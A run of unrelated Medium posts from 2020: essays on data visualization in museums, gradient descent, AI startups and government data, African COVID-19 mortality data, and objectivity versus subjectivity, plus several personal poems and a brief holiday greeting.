Interactive visualizations go one step further. Despite my love for museums, I am not one to spend all day at one. In fact, my visits tend to last only an hour or two. I reach a point where I can’t absorb any more text, and everything blurs together despite my 20/20 vision. Interactive exhibitions are a well-deserved break from digesting heavy material by providing contact with the content to allow for a more immersive experience. This type of information exploration can be done alone or collaboratively, thus supporting a solitary or sociable museum visit alike. Beyond recognizing the social aspect of museum visits, implementing data visualization can invoke a deeper curiosity and an incentive for deeper exploration of the content.
From Accurat’s The Room of Change
Data Visualization isn’t confined to supplementary materials but can serve as the feature of an exhibition, as notably demonstrated by Giorgia Lupi and Accurat, the data visualization studio that she cofounded. The SF MoMa purchased her and Stefanie Postavec’s Dear Data journey, while the XXII Triennale di Milano exhibited Accurat’s The Room of Change in their Broken Nature exhibit. The latter exhibition is composed of a “data tapestry” representing environmental changes in the past few centuries. Instead of illustrating the trends, the exhibition replicates its pattern so that the visitors can experience the change rather than passively view it. By employing data visualization’s storytelling and aesthetic techniques, this intersection of art and education can be a powerful tool for conveying information. Instead of being limited to a piece of paper that you analyze, the data becomes an experience, resulting in a bigger impact.
Supporting Fast and Slow Thinking
Visualizations can support both fast and slow thinking: integrating visual elements help the viewer to get a quick overview of the data or phenomenon, however complex. Incorporating data visualization into museums therefore not only enriches the museum experience with supplementary material or as a storytelling technique, but I believe it can also aid the exhibition curation. It allows us to see common threads that might not have been visible before, such as organizing works by shape or substrate. Nevertheless, “data” has strong algorithmic, or scientific connotation and can scare those unfamiliar with it. We thus need to mold it to speak our language.
Human-centric data visualization is exactly as Giorgia Lupi advocates:
“We are ready to question the impersonality of a merely technical approach to data, and to begin designing ways to connect numbers to what they really stand for: knowledge, behaviors, people.”
If museums are collections of humanity, data visualization can be a powerful tool that enhances creative curation and offers new potential for an immersive, impactful museum experience. | https://medium.com/nightingale/curating-curiosity-how-data-viz-can-enhance-the-museum-experience-69c2f2d3d2c6 | ['Maxene Graze'] | 2020-08-11 03:01:13.861000+00:00 | ['Infographics', 'Curation', 'Data Visualization', 'Museums', 'Exhibition Design'] |
Let The Night Rebuild Me | I’ll be back someday
I cling to that word someday as if it’s my lifeline
To a lifetime gone by
Or just gone
The line frays
With time
As I push, push
My body to the limit each day
Collapsing in physical pain because
It hurts too much to feel the emotional
I let the night rebuild me
Only to repeat the process again
This exercise in pain is all that I have space for
The final goodbye is coming
The mind knows what the heart won’t admit
I build muscle on my body
As if it was an armor that could protect me
From being broken
Each ligament holding together
All the shattered pieces that comprise me
I wasn’t your first
But am I your last everything?
Never ready to hear the truth
Trying to accept
The things I can not change
But I can tear myself apart
Let the night rebuild me
Though I appear strong
Inside I grow weaker
The tiny fibs
I tell myself to make it through the day
Become the lies that people believe
What they see
My soul falls away
With every pound of flesh
Increased
As I tear myself apart
And the night regenerates me
Into something I never knew before
My reflection becomes a person
I never wanted to get to know
Now we must share space
She says I’m weak
She calls me stupid
She tells me I’m worthless
She tells me I’m not wanted or loved
The child in me believes her
I grab my weights
With each push and pull
I feel a little less
As I tear myself apart and
Let the night rebuild me | https://medium.com/loose-words/let-the-night-rebuild-me-8859cfe1595d | ['Michelle Elizabeth'] | 2020-05-31 21:53:39.140000+00:00 | ['Poetry', 'Relationships', 'Self', 'This Happened To Me', 'Love'] |
Batch Gradient vs Stochastic Gradient Descent for Linear Regression | In this article, we will introduce about batch gradient and stochastic gradient descent method for solving the linear regression optimization problem. The linear regression problem frequently appears in machine learning. There are different ways of solving the linear regression optimization problem. The operation research methods uses the batch gradient descent, whereas the machine learning methods uses the stochastic gradient descent to solve the linear regression optimization problem. When we have millions of training examples, it might not be feasible to compute the gradient by using all the training examples as the system might run out of memory. Therefore, the stochastic gradient descent method is developed for machine learning problem to sample the training examples, compute the gradient in the sampled data and update the direction to find the optimal solution of the cost function.
Given the training examples of size m * n represented by pairs (x¹¹,x¹²,x¹³,…,y¹) (x²¹,x²²,x²³,…,y²), where each x represents the training example and y represents the corresponding labels of the training example. Let 𝝷¹, 𝝷²,… 𝝷^n be the parameters of the models then, the hypothesis of the linear regression is defined as follows:
h(xi) = 𝝷.X + b, where X is the m * n matrix of the coefficient and 𝝷 is the parameter of the model, whose value is obtained by solving the least square cost function.
The cost function for the linear regression is defined as :
The above cost function can be solved using the batch gradient and stochastic gradient descent method. The choice of batch vs stochastic gradient descent method depends on the value of m. If we have a large number of ‘m’, computing the gradient at each training example may not be feasible as it requires the substantial memory space. On the other hand, if the value of ‘m’ is small, we could use the batch gradient to solve the optimization problem.
The batch gradient descent could produce the better model than that by the stochastic gradient descent.The batch gradient converges faster than the stochastic gradient descent, and thus takes substantial lower time to train the model than that taken by the stochastic gradient descent. When we use the stochastic gradient descent, we often stop the training after the maximum number of iterations as converging to an optimal solution requires a substantially large number of iterations. This has the problem of early termination of the optimization algorithm and thus producing the sub-optimal model. On the other hand, the batch gradient descent converges to the optimal solution in fewer iterations and tends to produce the optimal solution of the cost function.
The choice of batch vs stochastic depends on the size of your problem. If you could load your data in the memory and compute the gradient, then we should use batch gradient instead of stochastic gradient descent for training the model. In many real-world applications, we end up with few number of data points in training even if the raw data has millions of rows. This is because we need to aggregate data to extract the data points for modeling and the aggregation often reduces the number of data points in the model. In such scenarios, we could load all data in the memory and batch gradient might give better model than the stochastic gradient descent method. | https://medium.com/@paras.babu.tiwari/batch-gradient-vs-stochastic-gradient-descent-for-linear-regression-ca526ae9268a | ['Dr. Paras Tiwari', 'Paras.Babu.Tiwari Gmail.Com'] | 2020-09-19 18:34:55.888000+00:00 | ['Gradient Descent', 'Batch Gradient Descent', 'Stochastic Gradient', 'Machine Learning', 'Optimization'] |
AI Startups Need Data, and the Government Needs Help | AI Startups Need Data, and the Government Needs Help
Due to their unique oversight, governments have a surplus of data at their fingertips. Used properly, this available data could enable them to create beneficial programs that tackle problems in economics, policy, transportation, and civic life. Unfortunately, the majority of that data is untapped. Here are the facts about AI startups needing data, and how that helps governments.
All hope is not lost, though. The good news is that initiatives have been put in place to unlock the power of this data. And startups in a number of industries are poised to capitalize on this wealth of data to optimize services and solve the issues most important to customers.
Converging Trends
Thanks to the digitization of government systems spurred when former President Barack Obama established data.gov in 2013; there’s a strong mandate to collect and organize government-owned data. And there’s an even bigger push to make that data more accessible to the American public.
Governments are replicating the trend to make data more accessible all over the world.
It is significant to understand that making data could spark significant job growth, public sector efficiency, and social good.
In the private and academic sectors, more companies are investing in AI and machine learning to solve complex problems in new ways.
Data fuels AI
Data fuels AI, but growing pressure from regulators and customers to maintain user privacy has caused corporations (e.g., social media giants, product review sites, and travel companies) to be wary of sharing large customer datasets. For startups building the next generation of AI tools, this situation presents challenges.
There’s an interesting opportunity at the intersection of these two trends. Governments want to share data, and startups need that data to power technological innovation.
What is the perfect match?
Tech startups and government agencies might not seem like the perfect match, but modern startups are equipped to leverage government data in meaningful ways.
By leveraging government data, startups can improve working and living conditions for everyone while solving various issues currently plaguing society.
Data for All
The U.S. government boasts more than 200,000 public datasets hosted through data.gov, divided among numerous lists and segmented into categories such as:
Information on 173 million taxi rides in New York City.
Weather data from the past 100 years.
Mexican birth records.
U.S. government procurement data.
Real-Estate Listings
There are also semipublic datasets like the MLS real estate listings. These large and reasonably priced aggregated datasets can be useful for startups looking to transform legacy institutions or disrupt established industries.
Data insights.
Most corporations, nonprofits, and government agencies lack the technical skills to extract useful insights from their data. The same isn’t true of specialized AI startups, which have those skills in abundance but lack the necessary data volume for machine learning tools. Locating relevant data is typically the hardest problem these teams face.
Michael Hiskey, CMO of data management software provider Semarchy, advises startups to locate the data they need before beginning to develop AI solutions. Without that data, a solution can’t solve an actual problem. Once that data is secured, the focus should be on using it safely and effectively.
While a startup can easily set its sights on a particular dataset, its leaders should be conscious of the complexity of licensing private data.
The time it takes to sort out legal, pricing, privacy, and technical integration often is better spent rapidly proving value from a small sample set of the data or another public dataset entirely. You can always pull in more data later, and customers will be more likely to let a startup work with private data once it has shown it can extract insights.
Security First
Data owners have the responsibility to aggregate and anonymize their findings, although that still doesn’t mean everything is completely secure. Recently, a team of urban planners and researchers at MIT conducted a study in which they anonymized datasets that included “location-stamped” cellphone logs and transit trips produced by users in Singapore.
In 11 weeks, the team used an algorithm to match data points with specific users at a 95% accuracy rate. The example shows how easy it could be for bad actors to track citizens by merging anonymized datasets with their own.
Anonymize.
Anonymization is only one privacy safeguard, and strict control policies should accompany any comprehensive security strategy.
Data risks.
As we’ve often seen, handling data properly is no trivial task. Businesses must do diligence to guarantee government agencies and private-sector agencies take that responsibility seriously. Aside from security, working with massive datasets means spending a significant amount of money on hosting and bandwidth.
Fortunately, major cloud providers have programs that support hosting data of public interest, and their access mechanisms make it easy for startups to get going.
Areas of Interest
The vast majority of work for any AI/machine-learning effort involves understanding, cleaning, and transforming data. In addition to cleaning data, startups must work closely with experts from relevant government agencies to understand how to interpret datasets.
The governments’ years of experience will accelerate the process of extracting insights. After all, AI/machine learning is still a tool best used to augment — not replace — human intelligence.
Emerging datasets — emerging companies.
There are many datasets that emerging companies can use in almost every field imaginable. AI and machine learning are incredibly useful when it comes to optimizing problems to be solved. All of these technologies present huge advantages over simple heuristic problem-solving methods.
Healthcare sectors.
When it comes to saving lives, this is what we want. That is why public health and safety represent a particularly exciting field for AI-powered startups.
In the healthcare sector, we’ll see companies helping to make significant breakthroughs when it comes to things like optimizing responses for emergency calls.
Recognizing environmental threats to critical infrastructure, and improving strategies for mitigating the spread of pests and diseases can undoubtedly provide an uptick in data, AI, and ML solutions when paired with government data.
Many companies already use government data to improve the overall health and safety of the public. CentralSquare Technologies is an AI startup that connects about 5,000 emergency call centers to patients in large metropolitan areas of the U.S. CentralSquare aims to reduce 911 response times when callers need help outside of their home area codes.
Geospiza, which launched in 2017, uses climate data analytics to help emergency managers and elected officials save lives in disaster situations. Geospiza also helps companies in weather-sensitive industries make smarter decisions about risk.
The company, Citizen, uses a combination of human employees and AI technology to directly pull information from police scanners and other sources to alert nearby citizens of incidents or potential threats.
Many local governments don’t have a sophisticated data strategy, which inhibits opportunities for everyone. The team at Stae addresses this by helping city governments, including those in Atlanta and Jersey City, New Jersey, improve their data warehouse solutions.
Plenty of startups already take advantage of data, but there are plenty of untapped opportunities.
Whether you have an idea that might help save lives or one that will help someone save a little bit of time, the government probably has data that can help you. It would be a shame to let it all go to waste.
Image Credit: Unsplash; joshua-sukoff | https://medium.com/readwrite/ai-startups-need-data-and-the-government-needs-help-187a6cbb3e25 | [] | 2020-03-12 21:07:08.480000+00:00 | ['Government', 'Artificial Intelligence', 'Data'] |
This is the Season | I’ve been taking a break from Medium this month, but when I noticed Darshak Rana’s prompt of Christmas on Spiritual Secrets, I decided to poke my head back in for a sec and say hi. Thank you, Darshak Rana, for tagging me!
I hope all my writing brothers and sisters are having a joyful December! I hope all of you wonderful readers out there are, too. Merry Christmas!! | https://medium.com/spiritual-secrets/this-is-the-season-5aa60bf5a361 | ['Amy Jasek'] | 2020-12-26 07:02:15.183000+00:00 | ['Spirituality', 'Poem', 'Festivals', 'Poetry', 'Christmas'] |
Covid-19 and a Data Detective Story | One of the the two burly men in uniform pointed his gun at me and asked me to get out of the car. Naturally, I complied without argument.
This could have happened in any city in any country, I suppose. But it actually happened in Lagos, Nigeria.
The Nigerian Paradox
My experience was far from exceptional. The Nigerian police has a very bad reputation for both brutality and corruption. According to a 102-page report by Human Rights Watch, Nigerians are more likely to encounter police demanding bribes than enforcing the law. Nigeria was recently rocked by anti-police agitations.
Nigerians Protesting Police Brutality (Photo Credit: https://news.sky.com/story/end-sars-why-nigerias-anti-police-brutality-protests-have-gone-global-12107555)
The year 2020 has seen a vast natural experiment play out, as different continents, countries and sub-national regions react to Covid-19 in different ways. It has become fairly clear, as a result, that an effective Covid response requires:
A good healthcare system (in terms of both quality and access) Good governance A disciplined populace that trusts the government and follows necessary Covid prevention measures such as wearing masks and social distancing
None of the three seem to be much in evidence in Nigeria.
A Lancet article of 2018 ranked Nigeria as the 142nd out of 195 countries in terms of healthcare access and quality. Nigerians themselves seem to have little faith in the healthcare system and those who can afford it seek medical care abroad. According to a PWC report of 2016 Nigerians spend 1 billion US dollars annually on medical tourism. To put that in perspective, this was nearly as high as the federal health budget for the same year ($1.3 billion) and nearly 20% of the entire healthcare spending ($5.85 billion). Well meaning friends in Nigeria strongly recommended whiskey, rather than a visit to the local clinic, as a cure for my persistent sore throat — induced by Harmattan, a dry, dusty wind that blows from the Sahara across Nigeria each winter, bringing respiratory problems in its wake. The Worldwide Governance Project within the World Bank reports six governance indicators for over 200 countries and territories. For 5 out of 6 of these indicators, Nigeria ranks in the bottom 20th percentile among all nations.
3. The fabric of communal trust is weak in Nigeria. According to the Nigerian novelist Adaobi Tricia Nwaubani, many of her countrymen consider internet scammers as role models. The UK based think tank Chatham House claims that “there is a yawning gap in trust and accountability between citizens and the state in Nigeria”. Coronavirus misinformation is rife with many believing that the disease is a hoax, or at least that the government is greatly exaggerating the scale of the problem.
The population density of Africa is low overall, with its population being about the same as that of India, while its area is ten times larger. But Nigeria’s population density is fairly high, in fact higher than that of Italy. And its largest city, Lagos, a dense megalopolis of 20 million people living cheek by jowl, is just the kind of city where Covid-19 may be expected to spread fast.
All in all, Nigeria seems to have the makings of a Covid-19 disaster.
Yet data suggests that it is anything but. New Zealand and South Korea are generally both counted among the countries which have mounted the most successful Coronavirus responses. The Covid-19 death rate in Nigeria is about 6 per million, just above that of New Zealand and less than South Korea’s.
What explains Nigeria’s success? Is the Nigerian story too good to be true?
The X Factor
In fact Africa, as a whole, has been one of the few good news stories of the pandemic. It has done much better than expected — better, in fact, than all the other continents, except Oceania- when it comes to Covid-19 mortality. Its death rate is a bit lower than Asia’s and way lower than that of Europe and the Americas. While Africa has about the same population as India, it has only recorded approximately 60,000 confirmed Covid-19 deaths to India’s 146,000.
Comparison of Deaths per Million Across Continents (Source: https://ourworldindata.org/, Johns Hopkins CSSE Covid-19 Data: accessed 19 Dec, 2020)
The African success has engendered considerable speculation among journalists, healthcare specialists and scientists. Many are looking for an as yet undiscovered “X factor” to explain Africa’s success. Possible suspects include cross-immunity due to previous infections, climatic factors and genetic predisposition.
Of course these are all plausible explanations. Several are proposed by credible experts. One or more them might very well be true. Certainly all are worth researching.
Nevertheless, I find it inappropriate to invoke a hidden X Factor to explain Africa’s low Covid-19 mortality rate. It seems analogous to claiming that an UFO caused a car crash as the British tabloid Mirror did on 25 Sep 2015.
UFO Causes Horrific Car Crash (Source: https://www.mirror.co.uk/news/world-news/video-shows-ufo-cause-horror-6517553)
While that claim could of course be true we have no way to prove or disprove it. And does it really help us to understand the car crash better in any way?
Both X Factors and UFOs should be avoided as they violate the Principle of Parsimony, also sometimes called Occam’s Razor. This principle enjoins us to minimize the number of assumptions while modeling any phenomenon. One should avoid introducing hypothetical entities, whether X Factors or UFOs, till their existence is proved, unless it is absolutely necessary.
So What’s Behind the African Success Story?
In fact it is highly misleading to talk about an “African” success story.
Comparison of Covid-19 Deaths per Million — African countries (Source: chart based on data from https://ourworldindata.org/, Johns Hopkins CSSE Covid-19 Data: accessed 19 Dec, 2020)
Africa is a continent consisting of 54 countries. The confirmed Covid-19 death rate varies widely between countries in Africa as the above graph shows. In fact, it varies from over 400 per million for South Africa to practically zero for Burundi.
Before discussing why Covid-19 mortality rates are lower for Africa than other continents it may be a good idea to explore why they vary so much within the continent.
If we display the Covid-19 mortality data on a map this is what we see.
Covid-19 Deaths per Million — African Countries (Source: https://ourworldindata.org/, Johns Hopkins CSSE Covid-19 Data: accessed 19 Dec, 2020)
What stands out is that Covid-19 mortality rate is much lower in the sub-saharan countries closer to the equator than in the countries of north and south Africa.
If we take the latitude of the capital of each African country (expressed as a sexagesimal) as a proxy for the geographic location of the country then we do see a relatively small but discernible correlation (0.34) between it and Covid-19 mortality rates. The relationship is statistically significant (p value = .015) at 5% level.
Covid-19 Deaths per Million vs Latitude of Capital — African Countries (Source: chart based on data from https://ourworldindata.org/, Johns Hopkins CSSE Covid-19 Data: accessed 19 Dec, 2020)
And this of course hints at the presence of a climatic or genetic factor or a local pattern of disease to explain the difference. Doesn’t it provide evidence for the presence of an X Factor ?
But wait. Before we go hunting let’s remember that the countries of sub-saharan Africa are generally poorer than those of the north & south. Could it be that Covid-19 mortality rates are higher in richer African countries than in poorer ones? In fact that is the case. The correlation between Covid death per million and per capita GDP is about 0.42. The relationship is statistically significant (p value = .003)
Covid-19 Deaths per Million vs GDP Per Capita — African Countries (Source: chart based on data from https://ourworldindata.org/, Johns Hopkins CSSE Covid-19 Data: accessed 19 Dec, 2020)
Although possibly counter-intuitive, this is quite in line with global patterns. The reported Covid-19 death tends to be higher in many rich countries primarily because they have older populations who are more vulnerable to Covid-19. Another possible reason for the higher death rates in richer countries is that these tend to have better Health Information Systems (HIS) than poorer ones. So, at least to an extent, the apparent higher mortality rate could simply be due to better reporting of deaths.
How well does the age distribution of the population explain the variation between Covid-19 mortality rates in different African countries?
Covid-19 Deaths per Million vs Median Age — African Countries (Source: chart based on data from https://ourworldindata.org/, Johns Hopkins CSSE Covid-19 Data: accessed 19 Dec, 2020)
Fairly well it turns out. Median age explains about 36% of the variation in Covid-19 mortality rates. The result is highly significant statistically ( p value = .000003). Younger countries have lower death rates, with every 1 year increase in median age leading to an approximate rise of 12 deaths per million in Covid-19 mortality.
That still leaves a good bit of the variation unexplained. I tried adding other variables such as geographical location, population density and per capita gdp to the mix but that did not improve the model. The additional variables turned out to be statistically insignificant.
What else, other than age distribution of the population, is at play?
Forensic Data Science
Data science is a loose but convenient term that has gained popularity in the last 10 years. It is used to describe the use of mathematical and statistical methods, aided by software, to derive insights and build predictive and prescriptive models from data.
The starting point of data science is — well, data. However, forensic data science — an increasingly important sub-branch of data science- takes a completely different approach. It doesn’t take the data as starting point of subsequent investigation. Instead it questions the given data and checks for the possibility of error or fraud. The forensic data scientist is a detective checking the data for evidence of crime.
Forensic data science is now a well-established multi-billion dollar industry. It is used to track down suspicious credit card transactions, fraudulent insurance claims, dubious financial statements and much else. While the area is hardly new the recent explosive growth in big data and machine learning algorithms has given it a huge boost.
Data detectives investigating Covid-19 death figures have included public health experts, journalists and scientists. One of their major tools has been excess mortality calculations.
Excess Deaths vs Reported Covid-19 Deaths for South Africa (Source: https://www.samrc.ac.za/reports/report-weekly-deaths-south-africa)
The South African Medical Research Council (SAMRC) reports the estimated excess mortality week by week. It is the difference between the number of deaths that week and the average number of deaths in the same weeks of 2018 and 2019. The excess mortality figures were much larger than the number of reported Covid-19 deaths in July and August. They then begin to decrease in step with reported Covid-19 deaths. Of course all excess deaths can’t be attributed to Covid-19. Some are certainly due to lack of access to medical facilities during the lockdown. Still this is fairly strong evidence that a significant proportion of Covid-19 deaths in South Africa have gone unreported. South Africa has had nearly 25,000 reported deaths to date but researchers estimate that the real toll is much higher.
Ghana’s Death Records (Source: https://www.theigc.org/wp-content/uploads/2019/11/Lagakos-and-Sowa-Final-Report-2019-1.pdf)
Few African countries have data infrastructure and HIS as good as South Africa’s. In Ghana, for example, each death is recorded by hand before being copied in a central death registry in Accra. Excess mortality figures for African countries other than South Africa are therefore hard to come by. But it seems likely that Covid-19 deaths are under-reported in other countries of Africa as well, quite possibly to a much greater extent than in South Africa.
The Outliers
Outliers — data points that differ in significant ways from their peers- offer important clues to data detectives.
Two blatant outliers in African Covid-19 data are Burundi and Tanzania.
Burundi appears not to have taken Covid-19 too seriously at first, with the former president Pierre Nkurunziza claiming that Burundians were “protected by God”. Schools and places of worship continued to be open in spite of the pandemic. Burundi was also one of the few countries that did not suspend its football season. The President did not impose strict social distancing rules, and in May Burundi expelled 4 WHO officials whom it had accused of interfering in the country’s coronavirus response.
Supporters of President Nkurunziza’s party at an election rally 27 April, 2020 (Photo Credit: Associated Press)
The president may have paid a steep price for his casual attitude. He is widely believed to have been the first head of state to have died from Covid-19 though the official cause of his death was a heart attack.
Evariste Ndayishimiye, Nkurunziza’s successor changed tack and launched a program of Covid testing in Bujumbura the capital in July. By late September 25,121 tests had been conducted and the government declared that the coronavirus outbreak was under control.
Among countries that have reported any Covid-19 deaths at all — not just in Africa, but anywhere in the world- Burundi has the lowest number; with a population of 12 million it has reported just 762 cases and 2 deaths to date. That is a better score than Taiwan’s — generally regarded as the Coronavirus superstar performer.
Most observers do not find the numbers credible. One western diplomat, speaking on condition of anonymity described the Covid situation in Burundi as “awful” and “really, really bad”. A nurse in a private hospital reported that several people with Covid-19 symptoms had died without being tested or diagnosed.
President John Magafuli praised worshippers for not wearing masks or gloves (Source: https://www.bbc.com/news/world-africa-52966016 )
Tanzania is another country whose Covid-19 data is extremely suspect. President John Magafuli of Tanzania refused to close places of worship during the pandemic as he was convinced that the Coronavirus being satanic could not survive in the body of Christ. He recommended a herbal potion from Madagascar, which the international health community regards as unproven, as a Coronavirus remedy. On 29th April, when it had a recorded total of 509 cases and 21 deaths, Tanzania stopped reporting Covid data. Subsequently, President Magafuli declared Tanzania Covid free, thanks to the prayers of the citizens and invited foreign tourists to visit the country.
Data from several other African countries, seriously affected by civil strife, are also probably extremely unreliable.
The Poster Child
Rwanda, unfortunately and unfairly mostly remembered for the genocide 26 years ago, has been one of the fastest growing nations in Africa for the last two decades. It is trying to position itself as a corruption-free and efficient “Singapore of Africa” to draw investment and tourists.
Rwanda’s Covid response — commended by WHO and described as “a model of what other low-income nations should do to respond better to health emergencies” — could not have been more different from that of its neighbors Burundi and Tanzania.
Source: https://www.npr.org/sections/goatsandsoda/2020/07/15/889802561/a-covid-19-success-story-in-rwanda-free-testing-robot-caregivers (Photo Credit: Cyril Ndegeya/Xinhua News Agency/Getty Images)
Rwanda’s innovative use of technology in its Covid war included the use of drones for monitoring social distancing measures, ferrying test samples & delivering supplies to affected families in remote locations during lockdown. Robots were used for temperature screening reducing the exposure of healthcare workers to infection.
Rwanda combined an early lockdown with aggressive testing. It has one of the highest rates of Covid-19 testing in the African continent. Test results used to come back in a day, though with a second wave hitting Rwanda there is now more delay. The share of positive cases in test results has also remained fairly low throughout the pandemic.
Share of Positive Covid-19 Tests— Selected African Countries (Source: https://ourworldindata.org/, Johns Hopkins CSSE Covid-19 Data: accessed 22 Dec, 2020)
Rwanda setup a team of 2,000 recruits for contact tracing in March. It now supplements them with technology in the form of mobile apps and wearable devices. While it is unlikely that it has detected every Covid-19 death, its data is likely to be quite accurate. It looks as if Rwanda’s Covid-19 low Covid mortality rate of 5 per million is real. Of course, as in the case other African countries, Rwanda’s low median age (20.3 years) helps but its effective Covid response has also in all likelihood played a major role.
In Lieu of a Conclusion
An Agatha Christie whodunit always has a tidy ending, with definite answers and all loose ends nicely tied up. Data detective stories unfortunately don’t always have a similarly satisfactory ending.
We are left with some tentative (but evidence based) hypotheses at the end.
The age structure of the population goes a long way towards explaining the variation in Covid mortality rates within the African continent. It probably plays an important role in explaining Africa’s overall low mortality rate as well. Unfortunately, generalization beyond this point is difficult. We don’t really have a single all-encompassing Covid narrative for Africa. The story of the African pandemic is the sum of many separate -and often very different-stories. Data from some African countries is extremely unreliable and their apparent low Covid mortality rate is probably largely a function of under-reporting. In others the low rate seems real and likely majorly due to an effective Covid response. For the majority of African countries a combination of 3 and 4 are probably at work.
Let’s look at Nigeria again. Nigeria certainly deserves our attention. It is the sixth most populous nation in the world and has a sixth of the African population. Inaccuracies in Nigerian data will therefore have a big impact on continental calculations.
Nigeria’s median age is particularly low (18.1 years) but that doesn’t seem to fully explain of Nigeria’s exceptionally low Covid mortality rate.
Some of the credit for it should probably go to Nigeria’s Coronavirus response, which was relatively prompt. It was more or less in line with that of many lower and middle income countries such as India, Philippines and Peru. Like them it imposed a fairly early lockdown which probably saved lives. After a few weeks they had to relax it because of the economic pain even though the epidemic growth curve was far from flattened. The lockdown did probably however buy Nigeria some much needed time to strengthen its contact tracing, testing and healthcare facilities. In time the curve did flatten — as in many other low and middle income countries-though the reasons for this are complex and not yet fully understood. Nigeria, again like much of Africa, now faces a second wave.
However, there are valid grounds to question Nigeria’s data. Nigeria lacks South Africa’s data infrastructure and Rwanda’s administrative capacity. Its Covid testing rate (4.3 per 1,000) has been low and the share of test positivity has been fairly high throughout the pandemic.
Map Showing Attacks on Civilians in Nigeria (Source: https://www.washingtonpost.com/graphics/world/nigeria-boko-haram/)
Parts of northern and north-eastern Nigeria continue to be affected by extremist violence and one wonders how accurate data collected from these parts can be. All in all, under-reporting of deaths is probably also a very important reason for the reported low Covid-19 mortality rate in Nigeria.
And finally we should be careful and not rule out the X Factor altogether! It might turn out to play a big role, in Africa and elsewhere, after all!
Endnotes
Disclosure: I am the Director of Smart Consulting Solutions Pte Ltd, incorporated in Singapore and its subsidiary Radix Analytics Pvt Ltd, incorporated in India. I am also a Visiting Faculty Member at the Indian Institute of Management, Udaipur. The opinions expressed in this article are solely mine and not necessarily shared by any company or institution with which I am affiliated.
This blog was triggered by a BBC article that I found on Prof. Gautam Menon’s Facebook wall though he is of course not responsible for my biases. I also thank him for taking time to answer some of my questions.
I am, as always, grateful to my friend Dr. Ashish Kumar Dawn for his insightful comments. | https://medium.com/@nilotp/covid-19-and-a-data-detective-story-ef8ae0e34c7 | ['Nilotpal Chakravarti'] | 2020-12-26 05:11:57.631000+00:00 | ['Rwanda', 'Covid 19', 'Nigeria', 'Africa', 'Mortality'] |
SHE | Female Stalker
She desires to be me.
She longs to be inside of me.
She has Xeroxed my life, down to the ballet class.
Could we be friends?
The love she has for me is obsessive, abusive, and intrusive.
I wonder when she will visit me again in my dreams .
She is the demon in my dreams, and I become her nightmare.
All the money in the world and still she has no peace.
Be yourself, do not sell yourself short; unless you did all already.
One design stolen and now the stealing of my style,
down to the cigarettes.
What will be next my crazed stalker female?
In real life she is unhappy and dissatisfied.
She adores me and despises me all at once.
She hates herself, check her surgeries.
I will never be you and you will never be me.
He would love you more, if you did not love me.
To mimic me means she loves me deeply.
Her attraction for me has become her focus.
Unfortunately, I am not intrigued or interested.
She is young and inexperienced.
A child lustful after what she cannot have.
I doubt she will ever speak to me directly;
perhaps someone knocked her teeth out.
I believe she is a coward, and intimidation rules her.
I feel sorry for her, but not enough to care.
Not enough to spread her long and wide.
I care just enough not to care at all.
She is a bruja, the devil in disguise.
She has created boredom in me, and a sense of regret.
She is obsessed with being me, but not enough to say it. | https://medium.com/@ninae9802/she-19b08f8181e2 | ['Anina Evans'] | 2020-12-18 10:54:17.680000+00:00 | ['Poetry On Medium', 'Celebrity', 'Obssession', 'Stalker'] |
Objectivity vs. Subjectivity: An Incongruity That Isn’t Really | Photo by Alex wong on Unsplash
Nearly two years ago I started wearing glasses. At some point since I developed the strong impression that I had forgotten to take my glasses off after going to bed at night or laying down for a nap. They had become a part of me to such an extent that, like a phantom limb, I sensed I was still wearing them even though they weren’t there. I could even perceive the faint outline of their rims through my closed eyelids. If I happen to pull the blanket up over my face so that a fold touches the ridge of my nose just so, I become positively convinced I’m still wearing them and have to run a hand over my face to confirm I’ve taken them off.
I’m sure I am not the only person who regularly has experiences such as this. The feeling that something is still being worn or that something is touching our skin when it objectively isn’t can be mildly disturbing. Unless one is intentionally seeking out experiences that cause mismatches between perception and reality, whether by taking drugs or via other means, even minor experiences like this can trigger some reflection about our actual grasp on reality.
That subjective experiences don’t always accurately describe our environment isn’t exactly news. Indeed, subjectivity’s public stock has been steadily declining for well over a century, while its sibling rival, objectivity, has seen an unprecedented surge in credibility. Our collective lack of faith in subjectivity has grown in spite of the fact that when it comes to our own feelings we continue to inevitability overrate their importance.
Objectivity’s worth has reached almost self-evident proportions in some circles. To be sure, human frailties like confirmation bias and blind spots created by feelings such as love or disgust do in fact make a certain degree of self-awareness critical to any effort to define reality with precision. We don’t want our doctor’s judgment to be too clouded by empathy when she’s making a diagnosis or evaluating our best course of treatment. Nor do we want our judges making rulings from the bench that are heavily colored by personal beliefs or a desire for revenge. But the fact remains, no conscious creature can possibly obtain anything like a truly objective point of view.
Objectivity’s appeal, the philosopher Thomas Nagel wrote in his famous essay What Is It Like to Be a Bat?, is that it moves us “toward a more accurate view of the real nature of things. This is accomplished,” Nagel concluded, “by reducing our dependence on individual or species-specific points of view toward the object of investigation. We describe it not in terms of the impressions it makes on our senses, but in terms of its more general effects and of properties detectable by means other than the human senses.”
To put it another way, objectivity isn’t a kind of transcendent view from nowhere. It’s actually a universal view from anywhere. A water molecule will ultimately appear the same from the point of view of either a hypothetical silicon-based life form or an actual carbon-based one. Likewise, it will remain unchanged from the vantage point of a species with one eye, two eyes, a compound eye, or no eyes whatsoever. In every case, it will consist of two hydrogen atoms and one oxygen atom because that’s what a water molecule is. All that matters is that the species analyzing it has developed the capacity to detect it.
But the purpose of Nagel’s essay was neither to praise nor bury objectivity. His point was that the one thing we can never be truly objective about is our own experience. Beyond a certain level of complexity, it’s like something to be whoever we are. Consciousness means that even if who we happen to be is Spock or Data, our self-assessments will still have the quality of being subjective. There is no point of view from which our own experience can be truly understood for what it is. Nagel wrote:
It is difficult to understand what could be meant by the objective character of an experience, apart from the particular point of view from which its subject apprehends it. After all, what would be left of what it was like to be a bat if one removed the viewpoint of the bat?
Fortunately, the “problem” consciousness poses for objectivity is only really a problem if you’re wedded to the idea that individual consciousness can be reduced to an objective essence (self or soul) in the first place. That we actually have such an essence is far from certain. In fact, there have been people making very good arguments that we probably don’t for over two millennia now.
In his excellent book, Why Buddhism is True, Robert Wright describes in some detail the many things modern science, particularly psychology, has confirmed the Buddha got right, or at least probably did. Wright spends some time on what he describes as the Buddha’s “Seminal Not-Self Sermon,” commonly translated as Discourses on the Not-Self. In this sermon the Buddha, according to Wright’s overview, asks his disciples which of what Buddhists refer to as the five aggregates “qualify as self”: form (or the physical body); sensation (feelings); perception; mental formation; or consciousness. He asked ‘is it just the physical body (form)?’ ‘Is it just our feelings?’ And so on.
